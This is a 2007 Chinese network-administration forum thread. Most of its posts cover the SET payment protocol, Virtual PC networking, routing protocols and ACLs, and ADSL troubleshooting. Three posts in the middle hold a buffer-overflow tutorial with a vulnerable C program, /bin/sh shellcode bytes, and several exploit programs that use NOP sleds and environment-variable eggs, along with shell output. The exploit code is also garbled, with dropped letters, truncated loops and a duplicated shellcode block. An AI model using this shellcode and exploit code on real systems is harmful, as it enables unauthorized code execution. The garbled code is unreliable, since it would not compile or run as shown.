免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: Ducktang1985
打印 上一主题 下一主题

【楼主:Ducktang1985 】网管知识大汇总,当好网管,来这里~~ [复制链接]

论坛徽章:
0
101 [报告]
发表于 2007-08-20 11:17 |只看该作者
四、SET协议介绍\r\n\r\n  电子商务在提供机遇和便利的同时,也面临着一个最大的挑战,即交易的安全问题。在网上购物的环境中,持卡人希望在交易中保密自己的帐户信息,使之不被人盗用;商家则希望客户的定单不可抵赖,并且,在交易过程中,交易各方都希望验明其他方的身份,以防止被欺骗。针对这种情况, 由美国Visa和MasterCard两大信用卡组织联合国际上多家科技机构,共同制定了应用于Internet上的以银行卡为基础进行在线交易的安全标准, “这就是“安全电子交易”(Secure Electronic Transaction,简称SET)。它采用公钥密码体制和X.509数字证书标准, 主要应用于保障网上购物信息的安全性。\r\n\r\n  由于SET 提供了消费者、商家和银行之间的认证,确保了交易数据的安全性、完整可靠性和交易的不可否认性, 特别是保证不将消费者银行卡号暴露给商家等优点,因此它成为了目前公认的信用卡/借记卡的网上交易的国际安全标准。\r\n\r\n  SET(Secure Electronic Transaction)安全电子交易协议是由美国Visa和MasterCard两大信用卡组织提出的应用于 Internet上的以信用卡为基础的电子支付系统协议。它采用公钥密码体制和X.509数字证书标准, 主要应用于B to C模式中保障支付信息的安全性。SET协议本身比较复杂,设计比较严格,安全性高,它能保证信息传输的机密性、真实性、完整性和不可否认性。SET协议是PKI框架下的一个典型实现,同时也在不断升级和完善, 如SET 2.0将支持借记卡电子交易。

论坛徽章:
0
102 [报告]
发表于 2007-08-20 11:17 |只看该作者

Virtual PC应用--Network篇

大家可以看到如上图所示,VPC默认最多可以有4块虚拟网卡。4块网卡对于我们的实验环境来说应该是足够的了,那么我们就来说下使用不同的网卡设置分别对我们的网络连通起什么样的作用。(为了方便说明,我已经给不同的网卡编上了序号)\r\n\r\n     以下我们从4到1开始说明。\r\n\r\n     ④Not connected\r\n     这个选项表明我们的虚拟机的网络处于断开状态,也就是说虚拟机不联网,不能与Host OS和外界进行通讯。\r\n\r\n     ③Realet RTL8139\r\n     这个是我Host OS的物理网卡,如果您用的网卡是不同型号的,那么在这里的显示可能和我的也有所不同。如果您的虚拟机网卡选择的是Host OS的物理网卡,那么您的虚拟机就可以像一台真正的计算机那样与您的Host OS还有网络上的其它计算机进行通讯了。\r\n\r\n     ②Local Only\r\n     如果您的虚拟机选择的是这个选项,这表明您的Guest OS之间可以相互通讯,并且其中任何一台虚拟机都不能和您的Host OS和网络上的任何一台计算机进行通讯。\r\n\r\n     ① shared networking (NAT)\r\n     这个选项顾名思义,是做网络地址转换。如果您选择这个选项,那么虚拟机可以对外进行通讯,并是以你Host OS的IP作为对外通讯的地址。如果您想用这个设置使Guest OS能对外进行通讯,你必须在你Host OS的Internet 连接共享上“允许其它网络用户通过此计算机的Internet连接来连接”如下图。\r\n\r\n\r\n\r\n\r\n\r\n     然后Guest OS的网卡请不要配置TCP/IP信息,它会自动从你的Host OS获得。\r\n\r\n     注意:\r\n\r\n     1、 如果您的Host OS没有物理网卡,又要使Guest OS能与Host OS进行通讯,这时就要安装微软提供的回环网卡loopback adapter。安装步骤如下:开始→控制面板→添加硬件→是,我已经连接了此硬件→添加新的硬件设备→(高级)→网络适配器→厂商(Microsoft)网卡(Microsoft Loopback Adapter)就可以完成回环网卡的安装了。\r\n\r\n     2、 回环网卡安装完成后,您可以在网上邻居的属性中设置loopback的TCP/IP配置。您还可以在虚拟机的网上选项上看到我们安装完成的回环网上。

论坛徽章:
0
103 [报告]
发表于 2007-08-20 11:18 |只看该作者

对于网络工程师的重要专业术语!

路由器问题:\r\n\r\n  1、什么时候使用多路由协议? \r\n\r\n  当两种不同的路由协议要交换路由信息时,就要用到多路由协议。当然,路由再分配也可以交换路由信息。下列情况不必使用多路由协议: \r\n\r\n  从老版本的内部网关协议( Interior Gateway Protocol,I G P)升级到新版本的I G P。 \r\n\r\n  你想使用另一种路由协议但又必须保留原来的协议。 \r\n\r\n  你想终止内部路由,以免受到其他没有严格过滤监管功能的路由器的干扰。 \r\n\r\n  你在一个由多个厂家的路由器构成的环境下。 \r\n\r\n  什么是距离向量路由协议? \r\n\r\n  距离向量路由协议是为小型网络环境设计的。在大型网络环境下,这类协议在学习路由及保持路由将产生较大的流量,占用过多的带宽。如果在9 0秒内没有收到相邻站点发送的路由选择表更新,它才认为相邻站点不可达。每隔30秒,距离向量路由协议就要向相邻站点发送整个路由选择表,使相邻站点的路由选择表得到更新。这样,它就能从别的站点(直接相连的或其他方式连接的)收集一个网络的列表,以便进行路由选择。距离向量路由协议使用跳数作为度量值,来计算到达目的地要经过的路由器数。 \r\n\r\n  例如,R I P使用B e l l m a n - F o r d算法确定最短路径,即只要经过最小的跳数就可到达目的地的线路。最大允许的跳数通常定为1 5。那些必须经过1 5个以上的路由器的终端被认为是不可到达的。 \r\n\r\n  距离向量路由协议有如下几种: IP RIP、IPX RIP、A p p l e Talk RT M P和I G R P。 \r\n\r\n  什么是链接状态路由协议? \r\n\r\n  链接状态路由协议更适合大型网络,但由于它的复杂性,使得路由器需要更多的C P U资源。它能够在更短的时间内发现已经断了的链路或新连接的路由器,使得协议的会聚时间比距离向量路由协议更短。通常,在1 0秒钟之内没有收到邻站的H E L LO报文,它就认为邻站已不可达。一个链接状态路由器向它的邻站发送更新报文,通知它所知道的所有链路。它确定最优路径的度量值是一个数值代价,这个代价的值一般由链路的带宽决定。具有最小代价的链路被认为是最优的。在最短路径优先算法中,最大可能代价的值几乎可以是无限的。 \r\n\r\n  如果网络没有发生任何变化,路由器只要周期性地将没有更新的路由选择表进行刷新就可以了(周期的长短可以从3 0分钟到2个小时)。 \r\n\r\n  链接状态路由协议有如下几种: IP OSPF、IPX NLSP和I S - I S。 \r\n\r\n  一个路由器可以既使用距离向量路由协议,又使用链接状态路由协议吗?\r\n\r\n  可以。每一个接口都可以配置为使用不同的路由协议;但是它们必须能够通过再分配路由来交换路由信息。(路由的再分配将在本章的后面进行讨论。) \r\n\r\n  2、什么是访问表? \r\n\r\n  访问表是管理者加入的一系列控制数据包在路由器中输入、输出的规则。它不是由路由器自己产生的。访问表能够允许或禁止数据包进入或输出到目的地。访问表的表项是顺序执行的,即数据包到来时,首先看它是否是受第一条表项约束的,若不是,再顺序向下执行;如果它与第一条表项匹配,无论是被允许还是被禁止,都不必再执行下面表项的检查了。 \r\n\r\n  每一个接口的每一种协议只能有一个访问表。 \r\n\r\n  支持哪些类型的访问表? \r\n\r\n  一个访问表可以由它的编号来确定。具体的协议及其对应的访问表编号如下: \r\n\r\n  ◆I P标准访问表编号:1~9 9 \r\n\r\n  ◆I P扩展访问表编号:1 0 0~1 9 9 \r\n\r\n  ◆I P X标准访问表编号:8 0 0~8 9 9 \r\n\r\n  ◆I P X扩展访问表编号:1 0 0 0~1 0 9 9 \r\n\r\n  ◆AppleTa l k访问表编号:6 0 0~6 9 9 \r\n\r\n  提示在Cisco IOS Release11.2或以上版本中,可以用有名访问表确定编号在1~199的访问表。 \r\n\r\n  如何创建IP标准访问表? \r\n\r\n  一个I P标准访问表的创建可以由如下命令来完成: Access-list access list number {permit | deny} source [source-mask] \r\n\r\n  在这条命令中: \r\n\r\n  ◆access list number:确定这个入口属于哪个访问表。它是从1到9 9的数字。 \r\n\r\n  ◆permit | deny:表明这个入口是允许还是阻塞从特定地址来的信息流量。 \r\n\r\n  ◆source:确定源I P地址。 \r\n\r\n  ◆s o u r c e - m a s k:确定地址中的哪些比特是用来进行匹配的。如果某个比特是\"1\",表明地址中该位比特不用管,如果是\"0\"的话,表明地址中该位比特将被用来进行匹配。可以使用通配符。 \r\n\r\n  以下是一个路由器配置文件中的访问表例子: \r\n\r\n\r\n  Router# show access-lists \r\n  Standard IP access list 1 \r\n  deny 204.59.144.0, wildcard bits 0.0.0.255 \r\n  permit any\r\n\r\n\r\n  3、什么时候使用路由再分配? \r\n\r\n  路由再分配通常在那些负责从一个自治系统学习路由,然后向另一个自治系统广播的路由器上进行配置。如果你在使用I G R P或E I G R P,路由再分配通常是自动执行的。 \r\n\r\n  4、什么是管理距离? \r\n\r\n  管理距离是指一种路由协议的路由可信度。每一种路由协议按可靠性从高到低,依次分配一个信任等级,这个信任等级就叫管理距离。对于两种不同的路由协议到一个目的地的路由信息,路由器首先根据管理距离决定相信哪一个协议。 \r\n\r\n  5、如何配置再分配? \r\n\r\n  在进行路由再分配之前,你必须首先: \r\n\r\n  1) 决定在哪儿添加新的协议。 \r\n\r\n  2) 确定自治系统边界路由器(ASBR)。 \r\n\r\n  3) 决定哪个协议在核心,哪个在边界。 \r\n\r\n  4) 决定进行路由再分配的方向。 \r\n\r\n  可以使用以下命令再分配路由更新(这个例子是针对OSPF的): \r\n\r\n  router(config-router)#redistribute protocol [process-id] [metric metric - value ] [metric-type type - value ] [subnets] \r\n\r\n  在这个命令中: \r\n\r\n  ◆protocol:指明路由器要进行路由再分配的源路由协议。 \r\n\r\n  主要的值有: bgp、eqp、igrp、isis、ospf、static [ ip ]、connected和rip。\r\n\r\n  ◆process-id:指明OSPF的进程ID。 \r\n\r\n  ◆metric:是一个可选的参数,用来指明再分配的路由的度量值。缺省的度量值是0。 \r\n\r\n  6、为什么确定毗邻路由器很重要? \r\n\r\n  在一个小型网络中确定毗邻路由器并不是一个主要问题。因为当一个路由器发生故障时,别的路由器能够在一个可接受的时间内收敛。但在大型网络中,发现一个故障路由器的时延可能很大。知道毗邻路由器可以加速收敛,因为路由器能够更快地知道故障路由器,因为hello报文的间隔比路由器交换信息的间隔时间短。 \r\n\r\n  使用距离向量路由协议的路由器在毗邻路由器没有发送路由更新信息时,才能发现毗邻路由器已不可达,这个时间一般为10~90秒。而使用链接状态路由协议的路由器没有收到hello报文就可发现毗邻路由器不可达,这个间隔时间一般为10秒钟。 \r\n\r\n  距离向量路由协议和链接状态路由协议如何发现毗邻路由器? \r\n\r\n  使用距离向量路由协议的路由器要创建一个路由表(其中包括与它直接相连的网络),同时它会将这个路由表发送到与它直接相连的路由器。毗邻路由器将收到的路由表合并入它自己的路由表,同时它也要将自己的路由表发送到它的毗邻路由器。使用链接状态路由协议的路由器要创建一个链接状态表,包括整个网络目的站的列表。在更新报文中,每个路由器发送它的整个列表。当毗邻路由器收到这个更新报文,它就拷贝其中的内容,同时将信息发向它的邻站。在转发路由表内容时没有必要进行重新计算。 \r\n\r\n  注意使用IGRP和EIGRP的路由器广播hello报文来发现邻站,同时像OSPF一样交换路由更新信息。EIGRP为每一种网络层协议保存一张邻站表,它包括邻站的地址、在队列中等待发送的报文的数量、从邻站接收或向邻站发送报文需要的平均时间,以及在确定链接断开之前没有从邻站收到任何报文的时间。 \r\n\r\n  7、什么是自治系统? \r\n\r\n  一个自治系统就是处于一个管理机构控制之下的路由器和网络群组。它可以是一个路由器直接连接到一个LAN上,同时也连到Internet上;它可以是一个由企业骨干网互连的多个局域网。在一个自治系统中的所有路由器必须相互连接,运行相同的路由协议,同时分配同一个自治系统编号。自治系统之间的链接使用外部路由协议,例如B G P。 \r\n\r\n  8、什么是BGP? \r\n\r\n  BGP(Border GatewayProtocol)是一种在自治系统之间动态交换路由信息的路由协议。一个自治系统的经典定义是在一个管理机构控制之下的一组路由器,它使用IGP和普通度量值向其他自治系统转发报文。 \r\n\r\n  在BGP中使用自治系统这个术语是为了强调这样一个事实:一个自治系统的管理对于其他自治系统而言是提供一个统一的内部选路计划,它为那些通过它可以到达的网络提供了一个一致的描述。 \r\n\r\n  9、BGP支持的会话种类? \r\n\r\n  BGP相邻路由器之间的会话是建立在TCP协议之上的。TCP协议提供一种可靠的传输机制,支持两种类型的会话: \r\n\r\n  ◆ 外部BGP(EBGP):是在属于两个不同的自治系统的路由器之间的会话。这些路由器是毗邻的,共享相同的介质和子网。 \r\n\r\n  ◆ 内部BGP(IBGP):是在一个自治系统内部的路由器之间的会话。它被用来在自治系统内部协调和同步寻找路由的进程。BGP路由器可以在自治系统的任何位置,甚至中间可以相隔数个路由器。 \r\n\r\n  注意\"初始的数据流的内容是整个BGP路由表。但以后路由表发生变化时,路由器只传送变化的部分。BGP不需要周期性地更新整个路由表。因此,在连接已建立的期间,一个BGP发送者必须保存有当前所有同级路由器共有的整个BGP路由表。BGP路由器周期性地发送Keep Alive消息来确认连接是激活的。当发生错误或特殊情况时,路由器就发送Notification消息。当一条连接发生错误时,会产生一个notification消息并断开连接。\"-来自RFC11654、BGP操作。 \r\n\r\n  10、BGP允许路由再分配吗? \r\n\r\n  允许。因为BGP主要用来在自治系统之间进行路由选择,所以它必须支持RIP、OSPF和 IGRP的路由选择表的综合,以便将它们的路由表转入一个自治系统。BGP是一个外部路由协议,因此它的操作与一个内部路由协议不同。在BGP中,只有当一条路由已经存在于IP路由表中时,才能用NETWORK命令在BGP路由表中创建一条路由。 \r\n\r\n  11、如何显示在数据库中的所有BGP路由? \r\n\r\n  要显示数据库中的所有BGP路由,只需在EXEC命令行下输入: \r\n\r\n\r\n  show ip bgp paths \r\n\r\n\r\n  这个命令的输出可能是: \r\n\r\n\r\n  Address Hash Refcount MetricPath \r\n  0 x 2 9 7 A 9 C 0 2 0 i \r\n\r\n \r\n  12、什么是水平分割? \r\n\r\n  水平分割是一种避免路由环的出现和加快路由汇聚的技术。由于路由器可能收到它自己发送的路由信息,而这种信息是无用的,水平分割技术不反向通告任何从终端收到的路由更新信息,而只通告那些不会由于计数到无穷而清除的路由。 \r\n\r\n  13、路由环是如何产生的? \r\n\r\n  由于网络的路由汇聚时间的存在,路由表中新的路由或更改的路由不能够很快在全网中稳定,使得有不一致的路由存在,于是会产生路由环。 \r\n\r\n  14、什么是度量值? \r\n\r\n  度量值代表距离。它们用来在寻找路由时确定最优路由。每一种路由算法在产生路由表时,会为每一条通过网络的路径产生一个数值(度量值),最小的值表示最优路径。度量值的计算可以只考虑路径的一个特性,但更复杂的度量值是综合了路径的多个特性产生的。一些常用的度量值有: \r\n\r\n  ◆跳步数:报文要通过的路由器输出端口的个数。 \r\n\r\n  ◆Ticks:数据链路的延时(大约1/18每秒)。 \r\n\r\n  ◆代价:可以是一个任意的值,是根据带宽,费用或其他网络管理者定义的计算方法得到的。 \r\n\r\n  ◆带宽:数据链路的容量。 \r\n\r\n  ◆时延:报文从源端传到目的地的时间长短。 \r\n\r\n  ◆负载:网络资源或链路已被使用的部分的大小。 \r\n\r\n  ◆可靠性:网络链路的错误比特的比率。 \r\n\r\n  ◆最大传输单元(MTU):在一条路径上所有链接可接受的最大消息长度(单位为字节)。\r\n\r\n  IGRP使用什么类型的路由度量值?这个度量值由什么组成? \r\n\r\n  IGRP使用多个路由度量值。它包括如下部分: \r\n\r\n  ◆带宽:源到目的之间最小的带宽值。 \r\n\r\n  ◆时延:路径中积累的接口延时。 \r\n\r\n  ◆可靠性:源到目的之间最差的可能可靠性,基于链路保持的状态。\r\n\r\n  ◆负载:源到目的之间的链路在最坏情况下的负载,用比特每秒表示。 \r\n\r\n  ◆MTU:路径中最小的M T U值。

论坛徽章:
0
104 [报告]
发表于 2007-08-20 11:19 |只看该作者

缓冲溢出基本知识介绍普及

在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 \r\n(Memory organization)存储器分为3个部分 \r\n1. 文本区域(程序区) \r\n这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误。 \r\n2. 数据区域 \r\n这个部分存储静态变量,它的大小可以由brk()系统调用来改变。 \r\n3. 堆栈 \r\n堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中。 \r\n它也被用来动态分配函数中的变量,以及函数的参数和返回值。 \r\n返回地址和指令指针 \r\n计算机执行一条指令,并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后,RET将会替换IP,程序接着继续执行本来的流程。 \r\n一个缓冲溢出 \r\n让我们用一个例子来说明以下缓冲溢出。 \r\nlt;++> buffer/example.c \r\nvoid main(){ \r\nchar big_string[100]; \r\nchar small_string[50]; \r\nmemset(big_string,0x41,100); \r\n/* strcpy(char *to,char *from) */ \r\ntrcpy(small_string,big_string);} \r\nlt;--> end of example.c这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显,数组small_string不能容纳100个字符,因此,溢出产生。 \r\n接下来我们看看存储器中的变化情况: \r\n[ big_string ] [ small_string ] [SFP] [RET] \r\n在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着,计算机会试着去执行在0x41414141处的指令。这将会导致段冲突,因为这个地址已经超出了处理范围。 \r\n发掘漏洞 \r\n现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下。不是用A来覆盖,而是用一些特别的地址来达到我们的目的。 \r\n任意代码的执行 \r\n现在我们需要一些东西来指向地址并执行。在大多数情况下,我们需要产生一个shell,当然这不是惟一的方法。 \r\nBefore: \r\nFFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF \r\nB = the buffer \r\nE = stack frame pointer \r\nR = return address \r\nF = other data \r\nAfter: \r\nFFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF \r\nS = shellcode \r\nA = address pointing to the shellcode \r\nF = other data\r\n用C来产生shell的代码如下: \r\nlt;++> buffer/shell.c \r\nvoid main(){ \r\nchar *name[2]; \r\name[0] = \"/bin/sh\"; \r\name[1] = 0x0; \r\nexecve(name[0], name, 0x0); \r\nexit(0); \r\n} \r\nlt;--> end of shellcode这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说,可以根据以下的步骤来完成: \r\n- 用 -static flag 开关来编译上面的程序 \r\n- 用GDB来打开上面的程序,然后用“disassemble main”命令 \r\n- 去掉所有不必要的代码 \r\n- 用汇编来重写它 \r\n- 编译,然后再用GDB打开,用“disassemble main”命令 \r\n- 在指令地址使用 x/bx 命令,找回 hex-code. \r\n或者你可以使用这些代码 \r\nchar shellcode[]= \r\n\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\" \r\n\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\" \r\n\"x80xe8xdcxffxffxff/bin/sh\"; \r\n\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\" \r\n\"x80xe8xdcxffxffxff/bin/sh\";

论坛徽章:
0
105 [报告]
发表于 2007-08-20 11:19 |只看该作者
寻找地址 \r\n当我们尝试去溢出一个程序的缓冲区的时候,这个程序要寻找这个缓冲区的地址。这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的。因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了。 \r\n下面这个程序会告诉我们这个程序的的堆栈指针: \r\nlt;++> buffer/getsp.c \r\nunsigned long get_sp(void){ \r\n__asm__(\"movl %esp, %eax); \r\n} \r\nvoid main(){ \r\nfprintf(stdout,\"0x%xn\",get_sp()); \r\n} \r\nlt;--> end of getsp.c试一下下面这个例子 \r\nlt;++> buffer/hole.c \r\nvoid main(int argc,char **argv[]){ \r\nchar buffer[512]; \r\nif (argc > 1) /* otherwise we crash our little program */ \r\ntrcpy(buffer,argv[1]); \r\n} \r\nlt;--> end of hole.c \r\nlt;++> buffer/exploit1.c \r\n#include  \r\n#define DEFAULT_OFFSET 0 \r\n#define DEFAULT_BUFFER_SIZE 512 \r\nchar shellcode[] = \r\n\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\" \r\n\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\" \r\n\"x80xe8xdcxffxffxff/bin/sh\"; \r\nunsigned long get_sp(void) { \r\n__asm__(\"movl %esp,%eax\"); \r\n} \r\nvoid main(int argc, char *argv[]) \r\n{ \r\nchar *buff, *ptr; \r\nlong *addr_ptr, addr; \r\nint offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; \r\nint i; \r\nif (argc > 1) bsize = atoi(argv[1]); \r\nif (argc > 2) offset = atoi(argv[2]); \r\nif (!(buff = malloc(bsize))) { \r\nrintf(\"Can\'t allocate memory.n\"); \r\nexit(0); \r\n} \r\naddr = get_sp() - offset; \r\nrintf(\"Using address: 0x%xn\", addr); \r\ntr = buff; \r\naddr_ptr = (long *) ptr; \r\nfor (i = 0; i  end of exploit1.c\r\n现在我们可以猜出offset (bufferaddress = stackpointer + offset). \r\n[hosts]$ exploit1 600 \r\nUsing address: 0xbffff6c3 \r\n[hosts]$ ./hole $BUF \r\n[hosts]$ exploit1 600 100 \r\nUsing address: 0xbffffce6 \r\n[hosts]$ ./hole $BUF \r\negmentation fault \r\netc. \r\netc. \r\n就象你所知道的那样,这个过程几乎是不可能发生的,这样,我们不得不去猜出更精确的溢出地址。为了增加我们的机会,我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了。 \r\n存储器的内容应该是这样的: \r\nFFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF \r\nN = NOP \r\nS = shellcode \r\nA = address pointing to the shellcode \r\nF = other data \r\n我们把原先的代码改了一下 \r\nlt;++> buffer/exploit2.c \r\n#include  \r\n#define DEFAULT_OFFSET 0 \r\n#define DEFAULT_BUFFER_SIZE 512 \r\n#define NOP 0x90 \r\nchar shellcode[] = \r\n\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\" \r\n\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\" \r\n\"x80xe8xdcxffxffxff/bin/sh\"; \r\nunsigned long get_sp(void) { \r\n__asm__(\"movl %esp,%eax\"); \r\n} \r\nvoid main(int argc, char *argv[]) \r\n{ \r\nchar *buff, *ptr; \r\nlong *addr_ptr, addr; \r\nint offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; \r\nint i; \r\nif (argc > 1) bsize = atoi(argv[1]); \r\nif (argc > 2) offset = atoi(argv[2]); \r\nif (!(buff = malloc(bsize))) { \r\nrintf(\"Can\'t allocate memory.n\"); \r\nexit(0); \r\n} \r\naddr = get_sp() - offset; \r\nrintf(\"Using address: 0x%xn\", addr); \r\ntr = buff; \r\naddr_ptr = (long *) ptr; \r\nfor (i = 0; i  end of exploit2.c \r\n[hosts]$ exploit2 600 \r\nUsing address: 0xbffff6c3 \r\n[hosts]$ ./hole $BUF \r\negmentation fault \r\n[hosts]$ exploit2 600 100 \r\nUsing address: 0xbffffce6 \r\n[hosts]$ ./hole $BUF \r\n#exit \r\n[hosts]$为了更完善我们的代码,我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用,并把shellcode送到环境变量中去。 \r\nlt;++> buffer/exploit3.c \r\n#include  \r\n#define DEFAULT_OFFSET 0 \r\n#define DEFAULT_BUFFER_SIZE 512 \r\n#define DEFAULT_EGG_SIZE 2048 \r\n#define NOP 0x90 \r\nchar shellcode[] = \r\n\"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b\" \r\n\"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd\" \r\n\"x80xe8xdcxffxffxff/bin/sh\"; \r\nunsigned long get_esp(void) { \r\n__asm__(\"movl %esp,%eax\"); \r\n} \r\nvoid main(int argc, char *argv[]) \r\n{ \r\nchar *buff, *ptr, *egg; \r\nlong *addr_ptr, addr; \r\nint offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; \r\nint i, eggsize=DEFAULT_EGG_SIZE; \r\nif (argc > 1) bsize = atoi(argv[1]); \r\nif (argc > 2) offset = atoi(argv[2]); \r\nif (argc > 3) eggsize = atoi(argv[3]); \r\nif (!(buff = malloc(bsize))) { \r\nrintf(\"Can\'t allocate memory.n\"); \r\nexit(0); \r\n} \r\nif (!(egg = malloc(eggsize))) { \r\nrintf(\"Can\'t allocate memory.n\"); \r\nexit(0); \r\n} \r\naddr = get_esp() - offset; \r\nrintf(\"Using address: 0x%xn\", addr); \r\ntr = buff; \r\naddr_ptr = (long *) ptr; \r\nfor (i = 0; i

论坛徽章:
0
106 [报告]
发表于 2007-08-20 11:20 |只看该作者
寻找溢出 \r\n当然有能更准确找到缓冲溢出的方法,那就是读它的源程序。因为Linux是个开放的系统,你很容易就可以得到它的源程序。 \r\n寻找没有边界校验的库函数调用,如: \r\ntrcpy(), strcat(), sprintf(), vsprintf(), scanf() \r\n其他的具有危险的函数如:在“当型”循环中的getc()和getchar(),strncat函数的错误使用。

论坛徽章:
0
107 [报告]
发表于 2007-08-20 11:20 |只看该作者

如何处理ADSL常见故障

ADSL故障分为用户端故障和局端(电信公司)故障。局端故障较少,下面主要介绍用户端故障及故障处理。\r\n\r\n一、ADSL常见故障分类\r\n\r\n从ADSL终端用户使用的角度可以将ADSL常见故障分为线路故障、设备故障(主要是ADSL Modem或网卡)、软件故障。\r\n\r\n线路故障\r\n\r\n    * 电话线故障或线路质量差:ADSL是以电话线作传输介质,采用频分复用技术将电话音与数据流分开,它的通信质量就取决于电话线了。电话线质量差或者受电磁干扰,都可能导致掉线。安装时要求在滤波器之前不要并电话。出现故障时要注意检查接头是否松动。检测电话线质量有个很方便的方法,那就是拿起电话,仔细听拨号音,听听声音是否纯净没有杂音,如果拨号音非常纯净,说明电话线质量很好,反之就说明电话线质量不好。\r\n    * 网线故障:网线接头是否松动、是否断线。ADSL Modem以太端口到计算机网卡之间的双绞线采用交叉线还是平行线,应根据ADSL Modem的说明书而定,当然也可以用两种线实际测试一下。 \r\n\r\n设备故障\r\n\r\n    * ADSL Modem故障:有的Modem因发热、质量差而出现故障,可以试着重启。如果不行,用自家的Modem与朋友家的Modem对换测试一下便知。\r\n    * 网卡故障:如果系统检测不到网卡或者无法安装网卡驱动程序,可以换个插槽或者更换网卡。中断号、I/O地址冲突是网卡工作不正常的一个重要原因。右键点击“本地连接-属性-常规-配制-高级”,检查是否冲突。如果冲突,可通过跳线或网卡自带的setup程序进行设置。网卡是否与 Modem匹配,对于10/100Mb自适应网卡,如果不稳定,可以手动设置为10Mb(右键点击“本地连接-属性-常规-配制-高级- Connection Type”)。 \r\n\r\n软件故障\r\n\r\n    * 拨号软件安装不成功:检查是否有病毒或者软件冲突,卸载不必要的软件,改用安装其他的拨号软件(ENTERNET、RASPPPoE、WINPPPOE、XP可直接建立DSL连接),不要同时安装多个拨号软件。也有可能是TCP/IP协议损坏,可以重新安装协议。\r\n    * 参数配制错误:对于专线方式接入用户的计算机IP地址、子网掩码、网关和DNS,是否与电信方提供的一致。对于虚拟拨号用户,虚拟拨号连接一般采用自动获得IP地址,有的ISP要求手动设置DNS。另外,要检查浏览器的设置,一般不要设置代理服务器,如果通过代理服务器上网,需要配制代理服务器。\r\n    * 病毒原因:安装防毒软件和个人防火墙。\r\n    * 广播风暴引起的故障。\r\n    * 有些软故障可以通过重启Modem或重启系统解决。

论坛徽章:
0
108 [报告]
发表于 2007-08-20 11:20 |只看该作者
二、查找定位ADSL故障\r\n\r\n根据ADSL Modem指示灯判断故障点\r\n\r\n不同型号的ADSL Modem指示灯及其含义有所不同,下面以ZXDSL 831为例,介绍各指示灯的含义。正常工作时,PWR、DSL、LAN等常亮,呈绿色,ACT为绿色呈闪烁状态。\r\n\r\n    * PWR电源指示灯:绿色表示电源正常。\r\n    * ADSL指示灯(DSL或LINK):绿色表示Modem与局端正常同步;闪烁绿色表示Modem与局端正在建立同步;红色或者灯灭表示未建立同步,未连接到局端,可能电话线或其他线路不通。\r\n    * LAN指示灯:绿色表示计算机与Modem连接正常;灯灭表示网线故障或者计算机网卡故障。\r\n      如果某个指示灯不正常,就可以根据指示灯大致定位故障点,不过各指示灯都正常,也有可能出现上网不正常的现象。 \r\n\r\n两个有用的小工具\r\n\r\nping\r\n\r\n    ping 127.0.0.1 诊断TCP/IP协议是否成功安装。\r\n\r\n    ping <网卡IP地址> 可以诊断网卡是否正常(Windows XP中要连网后才能ping通)。\r\n\r\n    ping 可以诊断计算机到Modem网络是否连通。\r\n\r\n    ping 诊断到局端是否连通。\r\n\r\n    ping <外网IP地址> 诊断是否可以连接到Internet。\r\n\r\n    ping <域名> 如果能ping通IP地址,但不能ping通域名(例如www.netadmin.com.cn),则说明是DNS问题。 \r\n\r\nwinipcfg (Windows 98/ME)和ipconfig (Windows 2000/XP)\r\n\r\nwinipcfg 在Windows 98/ME中,检查主机信息、ADSL连接是否正确获得公有IP地址和DNS。如果计算机未获得正确IP,点击“全部释放”,再点击“全部更新”,可以重新获得IP地址。\r\n\r\nipconfig/all 在Windows 2000/XP中检查主机信息、ADSL连接是否正确获得公有IP地址和DNS。\r\n\r\nipconfig/renew 在Windows 2000/XP中更新IP地址。

论坛徽章:
0
109 [报告]
发表于 2007-08-20 11:20 |只看该作者
